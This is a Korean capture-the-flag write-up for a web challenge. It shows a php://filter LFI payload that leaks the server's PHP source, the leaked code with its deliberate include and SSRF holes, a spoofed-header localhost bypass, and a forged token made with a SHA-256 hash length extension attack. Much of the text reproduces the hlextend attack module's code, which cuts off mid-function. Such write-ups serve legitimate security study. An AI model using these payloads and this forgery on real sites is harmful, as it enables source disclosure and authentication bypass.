blackbox challenge 라고한다.
들어가면 로그인창이 나오고 guest/guest로 로그인하면
뭔가 SSRF을 이용해 풀어야 할것같은 창이 나온다.
입력해보면 로컬인 127.0.0.1에서만 동작하는 기능이다. blackbox상태에서 필터링을 우회하는건 힘들기에 다른 방법을 찾아봐야한다.
php wrapper를 이용한 LFI가 있었다.
/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/index
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXNzaW9uX3N0YXJ0KCk7CgppZighaXNzZXQoJF9TRVNTSU9OWyd1c2VybmFtZSddKSkgewogICAgaGVhZGVyKCdsb2NhdGlvbjogLi9sb2dpbi5waHAnKTsKICAgIGRpZSgpOwp9Cj8+CgoKCjwhZG9jdHlwZSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IiI+CiAgICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IiI+CiAgICA8bGluayByZWw9Imljb24iIGhyZWY9ImZhdmljb24ucG5nIj4KCiAgICA8dGl0bGU+SG9tZTwvdGl0bGU+CgogICAgPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9Imh0dHBzOi8vZ2V0Ym9vdHN0cmFwLmNvbS9kb2NzLzQuMC9leGFtcGxlcy9zdGlja3ktZm9vdGVyLW5hdmJhci8iPgoKICAgIDwhLS0gQm9vdHN0cmFwIGNvcmUgQ1NTIC0tPgogICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9nZXRib290c3RyYXAuY29tL2RvY3MvNC4wL2Rpc3QvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiPgoKICAgIDwhLS0gQ3VzdG9tIHN0eWxlcyBmb3IgdGhpcyB0ZW1wbGF0ZSAtLT4KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZ2V0Ym9vdHN0cmFwLmNvbS9kb2NzLzQuMC9leGFtcGxlcy9zdGlja3ktZm9vdGVyLW5hdmJhci9zdGlja3ktZm9vdGVyLW5hdmJhci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keT4KCiAgICA8aGVhZGVyPgogICAgICA8IS0tIEZpeGVkIG5hdmJhciAtLT4KICAgICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbWQgbmF2YmFyLWRhcmsgZml4ZWQtdG9wIGJnLWRhcmsiPgogICAgICAgIDxhIGNsYXNzPSJuYXZiYXItYnJhbmQiIGhyZWY9Ii4vaW5kZXgucGh0bWw/ZnVuXzAwNGRlZDcyNDYiPkhvbWU8L2E+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXIiIHR5cGU9ImJ1dHRvbiIgZGF0YS10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLXRhcmdldD0iI25hdmJhckNvbGxhcHNlIiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJDb2xsYXBzZSIgYXJpYS1leHBhbmRlZD0iZmFsc2UiIGFyaWEtbGFiZWw9IlRvZ2dsZSBuYXZpZ2F0aW9uIj4KICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+CiAgICAgICAgPC9idXR0b24+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBpZD0ibmF2YmFyQ29sbGFwc2UiPgogICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IG1yLWF1dG8iPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIuL2luZGV4LnBodG1sP2Z1bl8wMDRkZWQ3MjQ2Ij5Ib21lPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIuL2luZGV4LnBodG1sP2Z1bl8wMDRkZWQ3MjQ2PWxvYWQiPkZ1bj88L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICA8L3VsPgogICAgICAgICAgPGg1Pjxmb250IGNvbG9yPSIjZmZmIj5XZWxjb21lIDwvZm9udD48Zm9udCBjb2xvcj0iI2ZmZiI+PHN0cm9uZz48P3BocCBlY2hvICRfU0VTU0lPTlsndXNlcm5hbWUnXTsgPz48L3N0cm9uZz48L2ZvbnQ+IPCfkYs8L2g1PgogICAgICAgICAgPGg1PjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iLi9sb2dvdXQucGhwIj5Mb2dvdXQ8L2E+PC9oNT4KICAgICAgICA8L2Rpdj4KICAgICAgPC9uYXY+CiAgICA8L2hlYWRlcj4KCiAgICA8IS0tIEJlZ2luIHBhZ2UgY29udGVudCAtLT4KICAgIDw/cGhwIAogICAgaWYgKGlzc2V0KCRfR0VUWyJmdW5fMDA0ZGVkNzI0NiJdKSkgewogICAgICBpZigkX0dFVFsiZnVuXzAwNGRlZDcyNDYiXSAhPT0gIiIpe2luY2x1ZGUgJF9HRVRbImZ1bl8wMDRkZWQ3MjQ2Il0uIi5waHRtbCI7fQogICAgICBlbHNlIHsKICAgICAgPz4KICAgICAgICAgICAgICAgICAgICAgIDxtYWluIHJvbGU9Im1haW4iIGNsYXNzPSJjb250YWluZXIiPgogICAgICAgICAgICAgICAgICAgICAgPGgxIGNsYXNzPSJtdC01Ij5UaGV5IHNhaWQgPzwvaDE+CiAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibGVhZCI+QSBzZWN1cmUgd2Vic2l0ZSBzaG91bGQgc3RhcnQgd2l0aCA8Y29kZT5odHRwczwvY29kZT4gcmF0aGVyIHRoYW4gPGNvZGU+aHR0cDwvY29kZT4uIFRoZSAicyIgaW4gImh0dHBzIiBzdGFuZHMgZm9yICJzZWN1cmUiLiA8L3A+CiAgICAgICAgICAgICAgICAgICAgICA8L21haW4+CiAgICAgIDw/cGhwCiAgICAgIH0KICAgIH0KICAgIGVsc2V7CiAgICAgIGhlYWRlcignbG9jYXRpb246IC4vaW5kZXgucGh0bWw/ZnVuXzAwNGRlZDcyNDYnKTsKICAgICAgZGllKCk7CiAgICB9CiAgICA/PgoKICAgIDxmb290ZXIgY2xhc3M9ImZvb3RlciI+CiAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPHNwYW4gY2xhc3M9InRleHQtbXV0ZWQiPllvdSBjYW4gdG90YWxseSBkbyB0aGlzLjwvc3Bhbj4KICAgICAgPC9kaXY+CiAgICA8L2Zvb3Rlcj4KCiAgICA8IS0tIEJvb3RzdHJhcCBjb3JlIEphdmFTY3JpcHQKICAgID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IC0tPgogICAgPCEtLSBQbGFjZWQgYXQgdGhlIGVuZCBvZiB0aGUgZG9jdW1lbnQgc28gdGhlIHBhZ2VzIGxvYWQgZmFzdGVyIC0tPgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjIuMS5zbGltLm1pbi5qcyIgaW50ZWdyaXR5PSJzaGEzODQtS0ozbzJES3RJa3ZZSUszVUVOem1NN0tDa1JyL3JFOS9RcGc2YUFaR0p3RkRNVk5BL0dwR0ZGOTNoWHBHNUtrTiIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0PndpbmRvdy5qUXVlcnkgfHwgZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPSJodHRwczovL2dldGJvb3RzdHJhcC5jb20vZG9jcy80LjAvYXNzZXRzL2pzL3ZlbmRvci9qcXVlcnktc2xpbS5taW4uanMiPjxcL3NjcmlwdD4nKTwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vZ2V0Ym9vdHN0cmFwLmNvbS9kb2NzLzQuMC9hc3NldHMvanMvdmVuZG9yL3BvcHBlci5taW4uanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vZ2V0Ym9vdHN0cmFwLmNvbS9kb2NzLzQuMC9kaXN0L2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['username'])) {
header('location: ./login.php');
die();
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.png">
<title>Home</title>
<link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/">
<!-- Bootstrap core CSS -->
<link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet">
</head>
<body>
<header>
<!-- Fixed navbar -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a>
</li>
</ul>
<h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> 👋</h5>
<h5><a class="nav-link" href="./logout.php">Logout</a></h5>
</div>
</nav>
</header>
<!-- Begin page content -->
<?php
if (isset($_GET["fun_004ded7246"])) {
if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}
else {
?>
<main role="main" class="container">
<h1 class="mt-5">They said ?</h1>
<p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p>
</main>
<?php
}
}
else{
header('location: ./index.phtml?fun_004ded7246');
die();
}
?>
<footer class="footer">
<div class="container">
<span class="text-muted">You can totally do this.</span>
</div>
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script>
<script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script>
</body>
</html>
/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load
PD9waHAKCi8vIExPQ0FUSU9OIDogLi9pbnRlcm5hbF9lMDEzNGNkNWE5MTcucGhwCgplcnJvcl9yZXBvcnRpbmcoMCk7CnNlc3Npb25fc3RhcnQoKTsKCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VybmFtZSddKSkKewogICAgaGVhZGVyKCdsb2NhdGlvbjogLi9sb2dpbi5waHAnKTsKICAgIGRpZSgpOwp9CgppZiAoX19GSUxFX18gPT09ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkKewogICAgZGllKCJvbmx5IGluIGluY2x1ZGUiKTsKfQoKZnVuY3Rpb24gdmFsaWRfdXJsKCR1cmwpCnsKICAgICR2YWxpZCA9IEZhbHNlOwogICAgJHJlcz1wcmVnX21hdGNoKCcvXihodHRwfGh0dHBzKT86XC9cLy4qKFwvKT8uKiQvJywkdXJsKTsKICAgIGlmICghJHJlcykgJHZhbGlkID0gVHJ1ZTsKICAgIHRyeXsgcGFyc2VfdXJsKCR1cmwpOyB9CiAgICBjYXRjaChFeGNlcHRpb24gJGUpeyAkdmFsaWQgPSBUcnVlO30KICAgICRpbnRfaXA9aXAybG9uZyhnZXRob3N0YnluYW1lKHBhcnNlX3VybCgkdXJsKVsnaG9zdCddKSk7CiAgICByZXR1cm4gJHZhbGlkIAogICAgICAgICAgICB8fCBpcDJsb25nKCcxMjcuMC4wLjAnKSA+PiAyNCA9PSAkaW50X2lwID4+IDI0IAogICAgICAgICAgICB8fCBpcDJsb25nKCcxMC4wLjAuMCcpID4+IDI0ID09ICRpbnRfaXAgPj4gMjQgCiAgICAgICAgICAgIHx8IGlwMmxvbmcoJzE3Mi4xNi4wLjAnKSA+PiAyMCA9PSAkaW50X2lwID4+IDIwIAogICAgICAgICAgICB8fCBpcDJsb25nKCcxOTIuMTY4LjAuMCcpID4+IDE2ID09ICRpbnRfaXAgPj4gMTYgCiAgICAgICAgICAgIHx8IGlwMmxvbmcoJzAuMC4wLjAnKSA+PiAyNCA9PSAkaW50X2lwID4+IDI0Owp9CgpmdW5jdGlvbiBnZXRfZGF0YSgkdXJsKQp7CgogICAgaWYgKHZhbGlkX3VybCgkdXJsKSA9PT0gVHJ1ZSkgeyByZXR1cm4gIklQIG5vdCBhbGxvd2VkIG9yIGhvc3QgZXJyb3IiOyB9CgogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAkdGltZW91dCA9IDc7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTUFYUkVESVJTLCAxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAkdGltZW91dCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsKICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7CgogICAgaWYgKGN1cmxfZXJyb3IoJGNoKSkKICAgIHsKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgcmV0dXJuICJFcnJvciAhIjsKICAgIH0KCiAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICByZXR1cm4gJGRhdGE7Cn0KCmZ1bmN0aW9uIGdlbigkdXNlcil7CiAgICByZXR1cm4gc3Vic3RyKHNoYTEoKHN0cmluZylyYW5kKDAsZ2V0cmFuZG1heCgpKSksMCwyMCk7Cn0KCmlmKCFpc3NldCgkX1NFU1NJT05bJ1gtU0VDUkVUJ10pKXsgJF9TRVNTSU9OWyJYLVNFQ1JFVCJdID0gZ2VuKCk7IH0KaWYoIWlzc2V0KCRfQ09PS0lFWydVU0VSJ10pKXsgc2V0Y29va2llKCJVU0VSIiwkX1NFU1NJT05bJ3VzZXJuYW1lJ10pOyB9CmlmKCFpc3NldCgkX0NPT0tJRVsnWC1UT0tFTiddKSl7IHNldGNvb2tpZSgiWC1UT0tFTiIsaGFzaCgic2hhMjU2IiwgJF9TRVNTSU9OWydYLVNFQ1JFVCddLiJndWVzdCIpKTsgfQoKJElQID0gKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfSFRUUF9IT1NUX09WRVJSSURFJ10pID8gJF9TRVJWRVJbJ0hUVFBfWF9IVFRQX0hPU1RfT1ZFUlJJREUnXSA6ICRfU0VSVkVSWydSRU1PVEVfQUREUiddKTsKCiRvdXQgPSAiIjsKCmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSAmJiAhZW1wdHkoJF9QT1NUWyd1cmwnXSkpCnsKICAgIGlmICggCiAgICAgICAgJElQID09PSAiMTI3LjAuMC4xIiAKICAgICAgICAmICRfQ09PS0lFWydYLVRPS0VOJ10gPT09IGhhc2goInNoYTI1NiIsICRfU0VTU0lPTlsnWC1TRUNSRVQnXS4kX0NPT0tJRVsnVVNFUiddKSAKICAgICAgICAmIHN0cnBvcygkX0NPT0tJRVsnVVNFUiddLCAnYWRtaW4nKSAhPT0gZmFsc2UgCiAgICApCiAgICB7CiAgICAgICAgJG91dCA9IGdldF9kYXRhKCRfUE9TVFsndXJsJ10pOwogICAgfQogICAgZWxzZQogICAgewogICAgICAgICRvdXQgPSAiT25seSB0aGUgYWRtaW5pc3RyYXRvciBjYW4gdGVzdCB0aGlzIGZ1bmN0aW9uIGZyb20gMTI3LjAuMC4xISI7CiAgICB9Cgp9Cgo/PgoKPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImNvbnRhaW5lciI+CjxoMSBjbGFzcz0ibXQtNSI+8J2WiPCdlprwnZaX8J2WkTovLyA/PC9oMT4KPHAgY2xhc3M9ImxlYWQiPmNVUkwgaXMgcG93ZXJlZCBieSBsaWJjdXJsICwgdXNlZCB0byBpbnRlcmFjdCB3aXRoIHdlYnNpdGVzIPCfjJA8L3A+Cjxmb3JtIG1ldGhvZD0icG9zdCIgPgo8bGVnZW5kPjxsYWJlbCBmb3I9InVybCI+V2Vic2l0ZSBVUkw8L2xhYmVsPjwvbGVnZW5kPgo8aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idXJsIiBuYW1lPSJ1cmwiIHN0eWxlPSJ3aWR0aDoxMDAlIiAvPgo8aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0i8J+RiSBSZXF1ZXN0IEhUVFAg8J+RiCI+CjwvZm9ybT48P3BocCBlY2hvICRvdXQ7ID8+IAo8L21haW4+Cg==
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
if (!isset($_SESSION['username']))
{
header('location: ./login.php');
die();
}
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
die("only in include");
}
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
?>
<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?>
</main>
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
위의 소스에서 다음 조건을 통과해야만 curl기능을 쓸수있다.
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
ip는 ['HTTP_X_HTTP_HOST_OVERRIDE'] 헤더 값이 있을시 ['HTTP_X_HTTP_HOST_OVERRIDE']값이 들어가고 없으면 접속자의 ip주소가 들어가므로 burp를 통해 헤더값을 X_HTTP_HOST_OVERRIDE: 127.0.0.1로 추가해주면 된다.
(http header injection 참고)
두번째 비교는
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
세션 X-SECRET값은 gen()을 통해 만들어지므로 랜덤한값을 sha1로 해시처리 후 20글자를 뽑는다.
쿠키 USER값은 세션의 username값으로
X-TOKEN값은 X-SECRET값에 guest를 이어붙인 후 sha256으로 해쉬한 값이다.
$_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
두번째 조건은 X-TOKEN값이 조작이 되어있는지 확인하는 구문인것을 알수있다.
여기서 우회하는 방법이 hash length extension attack(해시길이확장공격)이라 한다.
-------------------------------------------------hash length extension attack---------------------------------------------------
이공격으로 공유되는 비밀 키 값은 알수가 없지만, 어떤 메시지와 서명값의 쌍을 안다면 메시지 뒤에 다른 문자열이 추가된 메시지와 그에 맞는 정당한 서명값을 만들 수 있다.
1. 키의 길이
2. message의 내용
3. message에 대한 정당한 서명값
4. 해시 알고리즘의 종류가 Merkle-Damgard construction에 기반한 것들(MD5, SHA-1, SHA-2)
---------------------------------------------------------------------------------------------------------------------------------------------
문제로 돌아오면
1. 키의 길이-20글자고정
2. message의 내용-X-SECRET."guest"값
3. message에 대한 정당한 서명값-생성된 X-TOKEN값
4. 해시 알고리즘의 종류가 Merkle-Damgard construction에 기반한 것들(MD5, SHA-1, SHA-2)-SHA256
X-SECRET 값은 모르더라도 공격자가 guest 문자열 뒤에 admin값을 추가한 X-TOKEN 값으로 우회가능하다.
https://github.com/bwall/HashPump
https://github.com/stephenbradshaw/hlextend
위의 공격을 해주는 툴
두번째 파이썬코드를 이용해 진행했다.
# Copyright (C) 2014 by Stephen Bradshaw
#
# SHA1 and SHA2 generation routines from SlowSha https://code.google.com/p/slowsha/
# which is: Copyright (C) 2011 by Stefano Palazzo
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
'''
Pure Python Hash Length Extension module.
Currently supports SHA1, SHA256 and SHA512, more algorithms will
be added in the future.
Create a hash by calling one of the named constuctor functions:
sha1(), sha256(), and sha512(), or by calling new(algorithm).
The hash objects have the following methods:
hash(message):
Feeds data into the hash function using the normal interface.
extend(appendData, knownData, secretLength, startHash, raw=False):
Performs a hash length extension attack. Returns the string to
use when appending data.
hexdigest():
Returns a hexlified version of the hash output.
Assume you have a hash generated from an unknown secret value concatenated with
a known value, and you want to be able to produce a valid hash after appending
additional data to the known value.
If the hash algorithm used is one of the vulnerable functions implemented in
this module, is is possible to achieve this without knowing the secret value
as long as you know (or can guess, perhaps by brute force) the length of that
secret value. This is called a hash length extension attack.
Given an existing sha1 hash value '52e98441017043eee154a6d1af98c5e0efab055c',
known data of 'hello', an unknown secret of length 10 and data you wish
to append of 'file', you would do the following to perform the attack:
>>> import hlextend
>>> sha = hlextend.new('sha1')
>>> print sha.extend('file', 'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
'hello\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00xfile'
>>> print sha.hexdigest()
c60fa7de0860d4048a3bfb36b70299a95e6587c9
The unknown secret (of length 10), that when hashed appended with 'hello' produces
a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce
a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output
from the extend function above.
If you are not sure of the exact length of the secret value, simply try the above
multiple times specifying different values for the length to brute force.
'''
from re import match
from math import ceil
__version__ = "0.1"
class Hash(object):
'''Parent class for hash functions'''
def hash(self, message):
'''Normal input for data into hash function'''
length = bin(len(message) * 8)[2:].rjust(self._blockSize, "0")
while len(message) > self._blockSize:
self._transform(''.join([bin(ord(a))[2:].rjust(8, "0") for a in message[:self._blockSize]]))
message = message[self._blockSize:]
message = self.__hashBinaryPad(message, length)
for a in range(len(message) // self._b2):
self._transform(message[a * self._b2:a * self._b2 + self._b2])
def extend(self, appendData, knownData, secretLength, startHash, raw=False):
'''Hash length extension input for data into hash function'''
self.__checkInput(secretLength, startHash)
self.__setStartingHash(startHash)
extendLength = self.__hashGetExtendLength(secretLength, knownData, appendData)
message = appendData
while len(message) > self._blockSize:
self._transform(''.join([bin(ord(a))[2:].rjust(8, "0") for a in message[:self._blockSize]]))
message = message[self._blockSize:]
message = self.__hashBinaryPad(message, extendLength)
for i in range(len(message) // self._b2):
self._transform(message[i * self._b2:i * self._b2 + self._b2])
return self.__hashGetPadData(secretLength, knownData, appendData, raw=raw)
def hexdigest(self):
'''Outputs hash data in hexlified format'''
return ''.join( [ (('%0' + str(self._b1) + 'x') % (a)) for a in self.__digest()])
def __init__(self):
# pre calculate some values that get used a lot
self._b1 = self._blockSize/8
self._b2 = self._blockSize*8
def __digest(self):
return [self.__getattribute__(a) for a in dir(self) if match('^_h\d+$', a)]
def __setStartingHash(self, startHash):
c = 0
hashVals = [ int(startHash[a:a+int(self._b1)],base=16) for a in range(0,len(startHash), int(self._b1)) ]
for hv in [ a for a in dir(self) if match('^_h\d+$', a) ]:
self.__setattr__(hv, hashVals[c])
c+=1
def __checkInput(self, secretLength, startHash):
if not isinstance(secretLength, int):
raise TypeError('secretLength must be a valid integer')
if secretLength < 1:
raise ValueError('secretLength must be grater than 0')
if not match('^[a-fA-F0-9]{' + str(len(self.hexdigest())) + '}$', startHash):
raise ValueError('startHash must be a string of length ' + str(len(self.hexdigest())) + ' in hexlified format')
def __byter(self, byteVal):
'''Helper function to return usable values for hash extension append data'''
if byteVal < 0x20 or byteVal > 0x7e:
return '\\x%02x' %(byteVal)
else:
return chr(byteVal)
def __binToByte(self, binary):
'''Convert a binary string to a byte string'''
return ''.join([ chr(int(binary[a:a+8],base=2)) for a in range(0,len(binary),8) ])
def __hashGetExtendLength(self, secretLength, knownData, appendData):
'''Length function for hash length extension attacks'''
# binary length (secretLength + len(knownData) + size of binarysize+1) rounded to a multiple of blockSize + length of appended data
originalHashLength = int(ceil((secretLength+len(knownData)+self._b1+1)/float(self._blockSize)) * self._blockSize)
newHashLength = originalHashLength + len(appendData)
return bin(newHashLength * 8)[2:].rjust(self._blockSize, "0")
def __hashGetPadData(self, secretLength, knownData, appendData, raw=False):
